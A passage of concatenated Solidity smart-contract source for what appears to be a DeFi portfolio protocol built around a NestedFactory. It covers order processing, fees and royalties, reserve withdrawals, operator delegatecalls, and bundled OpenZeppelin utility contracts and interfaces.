emit NftCreated(nftId, _originalTokenId);
}
/// @inheritdoc INestedFactory
function processInputOrders(uint256 _nftId, BatchedInputOrders[] calldata _batchedOrders)
external
payable
override
nonReentrant
onlyTokenOwner(_nftId)
isUnlocked(_nftId)
{
_checkMsgValue(_batchedOrders);
_processInputOrders(_nftId, _batchedOrders);
emit NftUpdated(_nftId);
}
/// @inheritdoc INestedFactory
function processOutputOrders(uint256 _nftId, BatchedOutputOrders[] calldata _batchedOrders)
external
override
nonReentrant
onlyTokenOwner(_nftId)
isUnlocked(_nftId)
{
_processOutputOrders(_nftId, _batchedOrders);
emit NftUpdated(_nftId);
}
/// @inheritdoc INestedFactory
function processInputAndOutputOrders(
uint256 _nftId,
BatchedInputOrders[] calldata _batchedInputOrders,
BatchedOutputOrders[] calldata _batchedOutputOrders
) external payable override nonReentrant onlyTokenOwner(_nftId) isUnlocked(_nftId) {
_checkMsgValue(_batchedInputOrders);
_processInputOrders(_nftId, _batchedInputOrders);
_processOutputOrders(_nftId, _batchedOutputOrders);
emit NftUpdated(_nftId);
}
/// @inheritdoc INestedFactory
function destroy(
uint256 _nftId,
IERC20 _buyToken,
Order[] calldata _orders
) external override nonReentrant onlyTokenOwner(_nftId) isUnlocked(_nftId) {
address[] memory tokens = nestedRecords.getAssetTokens(_nftId);
uint256 tokensLength = tokens.length;
require(_orders.length != 0, "NF: INVALID_ORDERS");
require(tokensLength == _orders.length, "NF: INPUTS_LENGTH_MUST_MATCH");
require(nestedRecords.getAssetReserve(_nftId) == address(reserve), "NF: RESERVE_MISMATCH");
uint256 buyTokenInitialBalance = _buyToken.balanceOf(address(this));
for (uint256 i = 0; i < tokensLength; i++) {
address token = tokens[i];
uint256 amount = _safeWithdraw(token, _nftId);
_safeSubmitOrder(token, address(_buyToken), amount, _nftId, _orders[i]);
}
// Amount calculation to send fees and tokens
uint256 amountBought = _buyToken.balanceOf(address(this)) - buyTokenInitialBalance;
uint256 amountFees = (amountBought * exitFees) / 10000; // Exit Fees
unchecked {
amountBought -= amountFees;
_transferFeeWithRoyalty(amountFees, _buyToken, _nftId);
_safeTransferAndUnwrap(_buyToken, amountBought, _msgSender());
}
// Burn NFT
nestedRecords.removeNFT(_nftId);
nestedAsset.burn(_msgSender(), _nftId);
}
/// @inheritdoc INestedFactory
function withdraw(uint256 _nftId, uint256 _tokenIndex)
external
override
nonReentrant
onlyTokenOwner(_nftId)
isUnlocked(_nftId)
{
uint256 assetTokensLength = nestedRecords.getAssetTokensLength(_nftId);
require(assetTokensLength > _tokenIndex, "NF: INVALID_TOKEN_INDEX");
// Use destroy instead if NFT has a single holding
require(assetTokensLength > 1, "NF: UNALLOWED_EMPTY_PORTFOLIO");
require(nestedRecords.getAssetReserve(_nftId) == address(reserve), "NF: RESERVE_MISMATCH");
address token = nestedRecords.getAssetTokens(_nftId)[_tokenIndex];
uint256 amount = _safeWithdraw(token, _nftId);
_safeTransferWithFees(IERC20(token), amount, _msgSender(), _nftId);
nestedRecords.deleteAsset(_nftId, _tokenIndex);
emit NftUpdated(_nftId);
}
/// @inheritdoc INestedFactory
function updateLockTimestamp(uint256 _nftId, uint256 _timestamp) external override onlyTokenOwner(_nftId) {
nestedRecords.updateLockTimestamp(_nftId, _timestamp);
}
/* ------------------------- PRIVATE FUNCTIONS ------------------------- */
/// @dev Internal logic extraction of processInputOrders()
/// @param _nftId The id of the NFT to update
/// @param _batchedOrders The order to execute
function _processInputOrders(uint256 _nftId, BatchedInputOrders[] calldata _batchedOrders) private {
uint256 batchedOrdersLength = _batchedOrders.length;
require(batchedOrdersLength != 0, "NF: INVALID_MULTI_ORDERS");
require(nestedRecords.getAssetReserve(_nftId) == address(reserve), "NF: RESERVE_MISMATCH");
for (uint256 i = 0; i < batchedOrdersLength; i++) {
(uint256 fees, IERC20 tokenSold) = _submitInOrders(
_nftId,
_batchedOrders[i],
_batchedOrders[i].fromReserve
);
_transferFeeWithRoyalty(fees, tokenSold, _nftId);
}
}
/// @dev Internal logic extraction of processOutputOrders()
/// @param _nftId The id of the NFT to update
/// @param _batchedOrders The order to execute
function _processOutputOrders(uint256 _nftId, BatchedOutputOrders[] calldata _batchedOrders) private {
uint256 batchedOrdersLength = _batchedOrders.length;
require(batchedOrdersLength != 0, "NF: INVALID_MULTI_ORDERS");
require(nestedRecords.getAssetReserve(_nftId) == address(reserve), "NF: RESERVE_MISMATCH");
for (uint256 i = 0; i < batchedOrdersLength; i++) {
(uint256 feesAmount, uint256 amountBought) = _submitOutOrders(
_nftId,
_batchedOrders[i],
_batchedOrders[i].toReserve
);
_transferFeeWithRoyalty(feesAmount, _batchedOrders[i].outputToken, _nftId);
if (!_batchedOrders[i].toReserve) {
_safeTransferAndUnwrap(_batchedOrders[i].outputToken, amountBought - feesAmount, _msgSender());
}
}
}
/// @dev For every orders, call the operator with the calldata
/// to submit orders (where the input is one asset).
/// @param _nftId The id of the NFT impacted by the orders
/// @param _batchedOrders The order to process
/// @param _fromReserve True if the input tokens are from the reserve (portfolio)
/// @return feesAmount The total amount of fees on the input
/// @return tokenSold The ERC20 token sold (in case of ETH to WETH)
function _submitInOrders(
uint256 _nftId,
BatchedInputOrders calldata _batchedOrders,
bool _fromReserve
) private returns (uint256 feesAmount, IERC20 tokenSold) {
uint256 batchLength = _batchedOrders.orders.length;
require(batchLength != 0, "NF: INVALID_ORDERS");
uint256 _inputTokenAmount;
(tokenSold, _inputTokenAmount) = _transferInputTokens(
_nftId,
_batchedOrders.inputToken,
_batchedOrders.amount,
_fromReserve
);
uint256 amountSpent;
for (uint256 i = 0; i < batchLength; i++) {
amountSpent += _submitOrder(
address(tokenSold),
_batchedOrders.orders[i].token,
_nftId,
_batchedOrders.orders[i],
true // always to the reserve
);
}
feesAmount = (amountSpent * entryFees) / 10000; // Entry Fees
require(amountSpent <= _inputTokenAmount - feesAmount, "NF: OVERSPENT");
unchecked {
uint256 underSpentAmount = _inputTokenAmount - feesAmount - amountSpent;
if (underSpentAmount != 0) {
SafeERC20.safeTransfer(tokenSold, _fromReserve ? address(reserve) : _msgSender(), underSpentAmount);
}
// If input is from the reserve, update the records
if (_fromReserve) {
_decreaseHoldingAmount(_nftId, address(tokenSold), _inputTokenAmount - underSpentAmount);
}
}
}
/// @dev For every orders, call the operator with the calldata
/// to submit sell orders (where the output is one asset).
/// @param _nftId The id of the NFT impacted by the orders
/// @param _batchedOrders The order to process
/// @param _toReserve True if the output is store in the reserve/records (portfolio), false if not.
/// @return feesAmount The total amount of fees on the output
/// @return amountBought The total amount bought
function _submitOutOrders(
uint256 _nftId,
BatchedOutputOrders calldata _batchedOrders,
bool _toReserve
) private returns (uint256 feesAmount, uint256 amountBought) {
uint256 batchLength = _batchedOrders.orders.length;
require(batchLength != 0, "NF: INVALID_ORDERS");
require(_batchedOrders.amounts.length == batchLength, "NF: INPUTS_LENGTH_MUST_MATCH");
amountBought = _batchedOrders.outputToken.balanceOf(address(this));
IERC20 _inputToken;
uint256 _inputTokenAmount;
for (uint256 i = 0; i < batchLength; i++) {
(_inputToken, _inputTokenAmount) = _transferInputTokens(
_nftId,
IERC20(_batchedOrders.orders[i].token),
_batchedOrders.amounts[i],
true
);
// Submit order and update holding of spent token
uint256 amountSpent = _submitOrder(
address(_inputToken),
address(_batchedOrders.outputToken),
_nftId,
_batchedOrders.orders[i],
false
);
require(amountSpent <= _inputTokenAmount, "NF: OVERSPENT");
unchecked {
uint256 underSpentAmount = _inputTokenAmount - amountSpent;
if (underSpentAmount != 0) {
SafeERC20.safeTransfer(_inputToken, address(reserve), underSpentAmount);
}
_decreaseHoldingAmount(_nftId, address(_inputToken), _inputTokenAmount - underSpentAmount);
}
}
amountBought = _batchedOrders.outputToken.balanceOf(address(this)) - amountBought;
unchecked {
// Entry or Exit Fees
feesAmount = (amountBought * (_toReserve ? entryFees : exitFees)) / 10000;
if (_toReserve) {
_transferToReserveAndStore(_batchedOrders.outputToken, amountBought - feesAmount, _nftId);
}
}
}
/// @dev Call the operator to submit the order and add the output
/// assets to the reserve (if needed).
/// @param _inputToken Token used to make the orders
/// @param _outputToken Expected output token
/// @param _nftId The nftId
/// @param _order The order calldata
/// @param _toReserve True if the output is store in the reserve/records, false if not.
/// @return amountSpent The _inputToken amount spent (with the order)
function _submitOrder(
address _inputToken,
address _outputToken,
uint256 _nftId,
Order calldata _order,
bool _toReserve
) private returns (uint256 amountSpent) {
(bool success, uint256[] memory amounts) = callOperator(_order, _inputToken, _outputToken);
require(success, "NF: OPERATOR_CALL_FAILED");
if (_toReserve) {
_transferToReserveAndStore(IERC20(_outputToken), amounts[0], _nftId);
}
amountSpent = amounts[1];
}
/// @dev Call the operator to submit the order but dont stop if the call to the operator fail.
/// It will send the input token back to the msg.sender.
/// Note : The _toReserve Boolean has been removed (compare to _submitOrder) since it was
/// useless for the only use case (destroy).
/// @param _inputToken Token used to make the orders
/// @param _outputToken Expected output token
/// @param _amountToSpend The input amount available (to spend)
/// @param _nftId The nftId
/// @param _order The order calldata
function _safeSubmitOrder(
address _inputToken,
address _outputToken,
uint256 _amountToSpend,
uint256 _nftId,
Order calldata _order
) private {
(bool success, uint256[] memory amounts) = callOperator(_order, _inputToken, _outputToken);
if (success) {
require(amounts[1] <= _amountToSpend, "NF: OVERSPENT");
unchecked {
uint256 underSpentAmount = _amountToSpend - amounts[1];
if (underSpentAmount != 0) {
SafeERC20.safeTransfer(IERC20(_inputToken), _msgSender(), underSpentAmount);
}
}
} else {
_safeTransferWithFees(IERC20(_inputToken), _amountToSpend, _msgSender(), _nftId);
}
}
/// @dev Transfer tokens to the reserve, and compute the amount received to store
/// in the records. We need to know the amount received in case of deflationary tokens.
/// @param _token The token to transfer (IERC20)
/// @param _amount The amount to send to the reserve
/// @param _nftId The Token ID to store the assets
function _transferToReserveAndStore(
IERC20 _token,
uint256 _amount,
uint256 _nftId
) private {
address reserveAddr = address(reserve);
uint256 balanceReserveBefore = _token.balanceOf(reserveAddr);
// Send output to reserve
SafeERC20.safeTransfer(_token, reserveAddr, _amount);
uint256 balanceReserveAfter = _token.balanceOf(reserveAddr);
nestedRecords.store(_nftId, address(_token), balanceReserveAfter - balanceReserveBefore, reserveAddr);
}
/// @dev Choose between ERC20 (safeTransfer) and ETH (deposit), to transfer from the Reserve
/// or the user wallet, to the factory.
/// @param _nftId The NFT id
/// @param _inputToken The token to receive
/// @param _inputTokenAmount Amount to transfer
/// @param _fromReserve True to transfer from the reserve
/// @return Token transfered (in case of ETH)
/// @return The real amount received after the transfer to the factory
function _transferInputTokens(
uint256 _nftId,
IERC20 _inputToken,
uint256 _inputTokenAmount,
bool _fromReserve
) private returns (IERC20, uint256) {
if (address(_inputToken) == ETH) {
require(!_fromReserve, "NF: NO_ETH_FROM_RESERVE");
require(address(this).balance >= _inputTokenAmount, "NF: INVALID_AMOUNT_IN");
weth.deposit{ value: _inputTokenAmount }();
return (IERC20(address(weth)), _inputTokenAmount);
}
uint256 balanceBefore = _inputToken.balanceOf(address(this));
if (_fromReserve) {
require(
nestedRecords.getAssetHolding(_nftId, address(_inputToken)) >= _inputTokenAmount,
"NF: INSUFFICIENT_AMOUNT_IN"
);
// Get input from reserve
reserve.withdraw(_inputToken, _inputTokenAmount);
} else {
SafeERC20.safeTransferFrom(_inputToken, _msgSender(), address(this), _inputTokenAmount);
}
return (_inputToken, _inputToken.balanceOf(address(this)) - balanceBefore);
}
/// @dev Send a fee to the FeeSplitter, royalties will be paid to the owner of the original asset
/// @param _amount Amount to send
/// @param _token Token to send
/// @param _nftId User portfolio ID used to find a potential royalties recipient
function _transferFeeWithRoyalty(
uint256 _amount,
IERC20 _token,
uint256 _nftId
) private {
address originalOwner = nestedAsset.originalOwner(_nftId);
ExchangeHelpers.setMaxAllowance(_token, address(feeSplitter));
if (originalOwner != address(0)) {
feeSplitter.sendFeesWithRoyalties(originalOwner, _token, _amount);
} else {
feeSplitter.sendFees(_token, _amount);
}
}
/// @dev Decrease the amount of a NFT holding
/// @param _nftId The NFT id
/// @param _inputToken The token holding
/// @param _amount The amount to subtract from the actual holding amount
function _decreaseHoldingAmount(
uint256 _nftId,
address _inputToken,
uint256 _amount
) private {
nestedRecords.updateHoldingAmount(
_nftId,
_inputToken,
nestedRecords.getAssetHolding(_nftId, _inputToken) - _amount
);
}
/// @dev Transfer a token amount from the factory to the recipient.
/// The token is unwrapped if WETH.
/// @param _token The token to transfer
/// @param _amount The amount to transfer
/// @param _dest The address receiving the funds
function _safeTransferAndUnwrap(
IERC20 _token,
uint256 _amount,
address _dest
) private {
// if buy token is WETH, unwrap it instead of transferring it to the sender
if (address(_token) == address(weth)) {
ExchangeHelpers.setMaxAllowance(IERC20(address(weth)), address(withdrawer));
withdrawer.withdraw(_amount);
(bool success, ) = _dest.call{ value: _amount }("");
require(success, "NF: ETH_TRANSFER_ERROR");
} else {
SafeERC20.safeTransfer(_token, _dest, _amount);
}
}
/// @dev Transfer from factory and collect fees
/// @param _token The token to transfer
/// @param _amount The amount (with fees) to transfer
/// @param _dest The address receiving the funds
/// @param _nftId The nft Id (for royalty fees)
function _safeTransferWithFees(
IERC20 _token,
uint256 _amount,
address _dest,
uint256 _nftId
) private {
uint256 feeAmount = (_amount * exitFees) / 10000; // Exit Fee
unchecked {
_transferFeeWithRoyalty(feeAmount, _token, _nftId);
SafeERC20.safeTransfer(_token, _dest, _amount - feeAmount);
}
}
/// @dev Withdraw from reserve with care of deflationary tokens.
/// @param _token The token to withdraw
/// @param _nftId The NFT id to withdraw from
/// @return The withdrawed amount from the reserve
function _safeWithdraw(address _token, uint256 _nftId) private returns (uint256) {
uint256 holdingAmount = nestedRecords.getAssetHolding(_nftId, _token);
uint256 balanceBefore = IERC20(_token).balanceOf(address(this));
reserve.withdraw(IERC20(_token), holdingAmount);
return IERC20(_token).balanceOf(address(this)) - balanceBefore;
}
/// @dev Verify that msg.value is equal to the amount needed (in the orders)
/// @param _batchedOrders The batched input orders
function _checkMsgValue(BatchedInputOrders[] calldata _batchedOrders) private {
uint256 ethNeeded;
for (uint256 i = 0; i < _batchedOrders.length; i++) {
if (address(_batchedOrders[i].inputToken) == ETH) {
ethNeeded += _batchedOrders[i].amount;
}
}
require(msg.value == ethNeeded, "NF: WRONG_MSG_VALUE");
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/**
* @dev Contract module that helps prevent reentrant calls to a function.
*
* Inheriting from `ReentrancyGuard` will make the {nonReentrant} modifier
* available, which can be applied to functions to make sure there are no nested
* (reentrant) calls to them.
*
* Note that because there is a single `nonReentrant` guard, functions marked as
* `nonReentrant` may not call one another. This can be worked around by making
* those functions `private`, and then adding `external` `nonReentrant` entry
* points to them.
*
* TIP: If you would like to learn more about reentrancy and alternative ways
* to protect against it, check out our blog post
* https://blog.openzeppelin.com/reentrancy-after-istanbul/[Reentrancy After Istanbul].
*/
abstract contract ReentrancyGuard {
// Booleans are more expensive than uint256 or any type that takes up a full
// word because each write operation emits an extra SLOAD to first read the
// slot's contents, replace the bits taken up by the boolean, and then write
// back. This is the compiler's defense against contract upgrades and
// pointer aliasing, and it cannot be disabled.
// The values being non-zero value makes deployment a bit more expensive,
// but in exchange the refund on every call to nonReentrant will be lower in
// amount. Since refunds are capped to a percentage of the total
// transaction's gas, it is best to keep them low in cases like this one, to
// increase the likelihood of the full refund coming into effect.
uint256 private constant _NOT_ENTERED = 1;
uint256 private constant _ENTERED = 2;
uint256 private _status;
constructor() {
_status = _NOT_ENTERED;
}
/**
* @dev Prevents a contract from calling itself, directly or indirectly.
* Calling a `nonReentrant` function from another `nonReentrant`
* function is not supported. It is possible to prevent this from happening
* by making the `nonReentrant` function external, and make it call a
* `private` function that does the actual work.
*/
modifier nonReentrant() {
// On the first call to nonReentrant, _notEntered will be true
require(_status != _ENTERED, "ReentrancyGuard: reentrant call");
// Any calls to nonReentrant after this point will fail
_status = _ENTERED;
_;
// By storing the original value once again, a refund is triggered (see
// https://eips.ethereum.org/EIPS/eip-2200)
_status = _NOT_ENTERED;
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "../IERC20.sol";
import "../../../utils/Address.sol";
/**
* @title SafeERC20
* @dev Wrappers around ERC20 operations that throw on failure (when the token
* contract returns false). Tokens that return no value (and instead revert or
* throw on failure) are also supported, non-reverting calls are assumed to be
* successful.
* To use this library you can add a `using SafeERC20 for IERC20;` statement to your contract,
* which allows you to call the safe operations as `token.safeTransfer(...)`, etc.
*/
library SafeERC20 {
using Address for address;
function safeTransfer(
IERC20 token,
address to,
uint256 value
) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(
IERC20 token,
address from,
address to,
uint256 value
) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
/**
* @dev Deprecated. This function has issues similar to the ones found in
* {IERC20-approve}, and its usage is discouraged.
*
* Whenever possible, use {safeIncreaseAllowance} and
* {safeDecreaseAllowance} instead.
*/
function safeApprove(
IERC20 token,
address spender,
uint256 value
) internal {
// safeApprove should only be called when setting an initial allowance,
// or when resetting it to zero. To increase and decrease it, use
// 'safeIncreaseAllowance' and 'safeDecreaseAllowance'
require(
(value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function safeIncreaseAllowance(
IERC20 token,
address spender,
uint256 value
) internal {
uint256 newAllowance = token.allowance(address(this), spender) + value;
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function safeDecreaseAllowance(
IERC20 token,
address spender,
uint256 value
) internal {
unchecked {
uint256 oldAllowance = token.allowance(address(this), spender);
require(oldAllowance >= value, "SafeERC20: decreased allowance below zero");
uint256 newAllowance = oldAllowance - value;
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
}
/**
* @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement
* on the return value: the return value is optional (but if data is returned, it must not be false).
* @param token The token targeted by the call.
* @param data The call data (encoded using abi.encode or one of its variants).
*/
function _callOptionalReturn(IERC20 token, bytes memory data) private {
// We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since
// we're implementing it ourselves. We use {Address.functionCall} to perform this call, which verifies that
// the target address contains contract code and also asserts for success in the low-level call.
bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed");
if (returndata.length > 0) {
// Return data is optional
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
// SPDX-License-Identifier: GPL-3.0-or-later
pragma solidity 0.8.11;
import "@openzeppelin/contracts/utils/Context.sol";
import "@openzeppelin/contracts/utils/StorageSlot.sol";
/// @notice Ownable re-implementation to initialize the owner in the
/// proxy storage after an "upgradeToAndCall()" (delegatecall).
/// @dev The implementation contract owner will be address zero (by removing the constructor)
abstract contract OwnableProxyDelegation is Context {
/// @dev The contract owner
address private _owner;
/// @dev Storage slot with the proxy admin (see TransparentUpgradeableProxy from OZ)
bytes32 internal constant _ADMIN_SLOT = bytes32(uint256(keccak256("eip1967.proxy.admin")) - 1);
/// @dev True if the owner is setted
bool public initialized;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/// @notice Initialize the owner (by the proxy admin)
/// @param ownerAddr The owner address
function initialize(address ownerAddr) external {
require(ownerAddr != address(0), "OPD: INVALID_ADDRESS");
require(!initialized, "OPD: INITIALIZED");
require(StorageSlot.getAddressSlot(_ADMIN_SLOT).value == msg.sender, "OPD: FORBIDDEN");
_setOwner(ownerAddr);
initialized = true;
}
/// @dev Returns the address of the current owner.
function owner() public view virtual returns (address) {
return _owner;
}
/// @dev Throws if called by any account other than the owner.
modifier onlyOwner() {
require(owner() == _msgSender(), "OPD: NOT_OWNER");
_;
}
/// @dev Leaves the contract without owner. It will not be possible to call
/// `onlyOwner` functions anymore. Can only be called by the current owner.
///
/// NOTE: Renouncing ownership will leave the contract without an owner,
/// thereby removing any functionality that is only available to the owner.
function renounceOwnership() public virtual onlyOwner {
_setOwner(address(0));
}
/// @dev Transfers ownership of the contract to a new account (`newOwner`).
/// Can only be called by the current owner.
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "OPD: INVALID_ADDRESS");
_setOwner(newOwner);
}
/// @dev Update the owner address
/// @param newOwner The new owner address
function _setOwner(address newOwner) private {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
}
// SPDX-License-Identifier: GPL-3.0-or-later
pragma solidity 0.8.11;
import "../OperatorResolver.sol";
import "../interfaces/IOperatorResolver.sol";
import "../interfaces/INestedFactory.sol";
/// @title Mixin operator resolver
/// @notice Store in cache operators name and address/selector
abstract contract MixinOperatorResolver {
/// @notice Emitted when cache is updated
/// @param name The operator name
/// @param destination The operator address
event CacheUpdated(bytes32 name, IOperatorResolver.Operator destination);
/// @dev The OperatorResolver used to build the cache
OperatorResolver public immutable resolver;
/// @dev Cache operators map of the name and Operator struct (address/selector)
mapping(bytes32 => IOperatorResolver.Operator) internal operatorCache;
constructor(address _resolver) {
require(_resolver != address(0), "MOR: INVALID_ADDRESS");
resolver = OperatorResolver(_resolver);
}
/// @dev This function is public not external in order for it to be overridden and
/// invoked via super in subclasses
function resolverOperatorsRequired() public view virtual returns (bytes32[] memory) {}
/// @notice Rebuild the operatorCache
function rebuildCache() public {
bytes32[] memory requiredOperators = resolverOperatorsRequired();
bytes32 name;
IOperatorResolver.Operator memory destination;
// The resolver must call this function whenever it updates its state
for (uint256 i = 0; i < requiredOperators.length; i++) {
name = requiredOperators[i];
// Note: can only be invoked once the resolver has all the targets needed added
destination = resolver.getOperator(name);
if (destination.implementation != address(0)) {
operatorCache[name] = destination;
} else {
delete operatorCache[name];
}
emit CacheUpdated(name, destination);
}
}
/// @notice Check the state of operatorCache
function isResolverCached() external view returns (bool) {
bytes32[] memory requiredOperators = resolverOperatorsRequired();
bytes32 name;
IOperatorResolver.Operator memory cacheTmp;
IOperatorResolver.Operator memory actualValue;
for (uint256 i = 0; i < requiredOperators.length; i++) {
name = requiredOperators[i];
cacheTmp = operatorCache[name];
actualValue = resolver.getOperator(name);
// false if our cache is invalid or if the resolver doesn't have the required address
if (
actualValue.implementation != cacheTmp.implementation ||
actualValue.selector != cacheTmp.selector ||
cacheTmp.implementation == address(0)
) {
return false;
}
}
return true;
}
/// @dev Get operator address in cache and require (if exists)
/// @param name The operator name
/// @return The operator address
function requireAndGetAddress(bytes32 name) internal view returns (IOperatorResolver.Operator memory) {
IOperatorResolver.Operator memory _foundAddress = operatorCache[name];
require(_foundAddress.implementation != address(0), string(abi.encodePacked("MOR: MISSING_OPERATOR: ", name)));
return _foundAddress;
}
/// @dev Build the calldata (with safe datas) and call the Operator
/// @param _order The order to execute
/// @param _inputToken The input token address
/// @param _outputToken The output token address
/// @return success If the operator call is successful
/// @return amounts The amounts from the execution (used and received)
/// - amounts[0] : The amount of output token
/// - amounts[1] : The amount of input token USED by the operator (can be different than expected)
function callOperator(
INestedFactory.Order calldata _order,
address _inputToken,
address _outputToken
) internal returns (bool success, uint256[] memory amounts) {
IOperatorResolver.Operator memory _operator = requireAndGetAddress(_order.operator);
// Parameters are concatenated and padded to 32 bytes.
// We are concatenating the selector + given params
bytes memory data;
(success, data) = _operator.implementation.delegatecall(bytes.concat(_operator.selector, _order.callData));
if (success) {
address[] memory tokens;
(amounts, tokens) = abi.decode(data, (uint256[], address[]));
require(tokens[0] == _outputToken, "MOR: INVALID_OUTPUT_TOKEN");
require(tokens[1] == _inputToken, "MOR: INVALID_INPUT_TOKEN");
}
}
}
// SPDX-License-Identifier: GPL-3.0-or-later
pragma solidity 0.8.11;
import "@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol";
/// @notice Helpers for swapping tokens
library ExchangeHelpers {
using SafeERC20 for IERC20;
/// @dev Perform a swap between two tokens
/// @param _sellToken Token to exchange
/// @param _swapTarget The address of the contract that swaps tokens
/// @param _swapCallData Call data provided by 0x to fill the quote
/// @return True if the call succeeded, false if not
function fillQuote(
IERC20 _sellToken,
address _swapTarget,
bytes memory _swapCallData
) internal returns (bool) {
setMaxAllowance(_sellToken, _swapTarget);
// solhint-disable-next-line avoid-low-level-calls
(bool success, ) = _swapTarget.call(_swapCallData);
return success;
}
/// @dev sets the allowance for a token to the maximum if it is not already at max
/// @param _token The token to use for the allowance setting
/// @param _spender Spender to allow
function setMaxAllowance(IERC20 _token, address _spender) internal {
uint256 _currentAllowance = _token.allowance(address(this), _spender);
if (_currentAllowance != type(uint256).max) {
// Decrease to 0 first for tokens mitigating the race condition
_token.safeDecreaseAllowance(_spender, _currentAllowance);
_token.safeIncreaseAllowance(_spender, type(uint256).max);
}
}
}
// SPDX-License-Identifier: UNLICENSED
pragma solidity 0.8.11;
interface IWETH {
function deposit() external payable;
function withdraw(uint256) external;
function totalSupply() external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
// SPDX-License-Identifier: GPL-3.0-or-later
pragma solidity 0.8.11;
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import "../NestedReserve.sol";
import "../FeeSplitter.sol";
/// @title NestedFactory interface
interface INestedFactory {
/* ------------------------------ EVENTS ------------------------------ */
/// @dev Emitted when the feeSplitter is updated
/// @param feeSplitter The new feeSplitter address
event FeeSplitterUpdated(address feeSplitter);
/// @dev Emitted when the entryFees is updated
/// @param entryFees The new entryFees amount
event EntryFeesUpdated(uint256 entryFees);
/// @dev Emitted when the exitFees is updated
/// @param exitFees The new exitFees amount
event ExitFeesUpdated(uint256 exitFees);
/// @dev Emitted when the reserve is updated
/// @param reserve The new reserve address
event ReserveUpdated(address reserve);
/// @dev Emitted when a NFT (portfolio) is created
/// @param nftId The NFT token Id
/// @param originalNftId If replicated, the original NFT token Id
event NftCreated(uint256 indexed nftId, uint256 originalNftId);
/// @dev Emitted when a NFT (portfolio) is updated
/// @param nftId The NFT token Id
event NftUpdated(uint256 indexed nftId);
/// @dev Emitted when a new operator is added
/// @param newOperator The new operator bytes name
event OperatorAdded(bytes32 newOperator);
/// @dev Emitted when an operator is removed
/// @param oldOperator The old operator bytes name
event OperatorRemoved(bytes32 oldOperator);
/// @dev Emitted when tokens are unlocked (sent to the owner)
/// @param token The unlocked token address
/// @param amount The unlocked amount
event TokensUnlocked(address token, uint256 amount);
/* ------------------------------ STRUCTS ------------------------------ */
/// @dev Represent an order made to the factory when creating/editing an NFT
/// @param operator The bytes32 name of the Operator
/// @param token The expected token address in output/input
/// @param callData The operator parameters (delegatecall)
struct Order {
bytes32 operator;
address token;
bytes callData;
}
/// @dev Represent multiple input orders for a given token to perform multiple trades.
/// @param inputToken The input token
/// @param amount The amount to transfer (input amount)
/// @param orders The orders to perform using the input token.
/// @param _fromReserve Specify the input token source (true if reserve, false if wallet)
/// Note: fromReserve can be read as "from portfolio"
struct BatchedInputOrders {
IERC20 inputToken;
uint256 amount;
Order[] orders;
bool fromReserve;
}
/// @dev Represent multiple output orders to receive a given token
/// @param outputToken The output token
/// @param amounts The amount of sell tokens to use
/// @param orders Orders calldata
/// @param toReserve Specify the output token destination (true if reserve, false if wallet)
/// Note: toReserve can be read as "to portfolio"
struct BatchedOutputOrders {
IERC20 outputToken;
uint256[] amounts;
Order[] orders;
bool toReserve;
}
/* ------------------------------ OWNER FUNCTIONS ------------------------------ */
/// @notice Add an operator (name) for building cache
/// @param operator The operator name to add
function addOperator(bytes32 operator) external;
/// @notice Remove an operator (name) for building cache
/// @param operator The operator name to remove
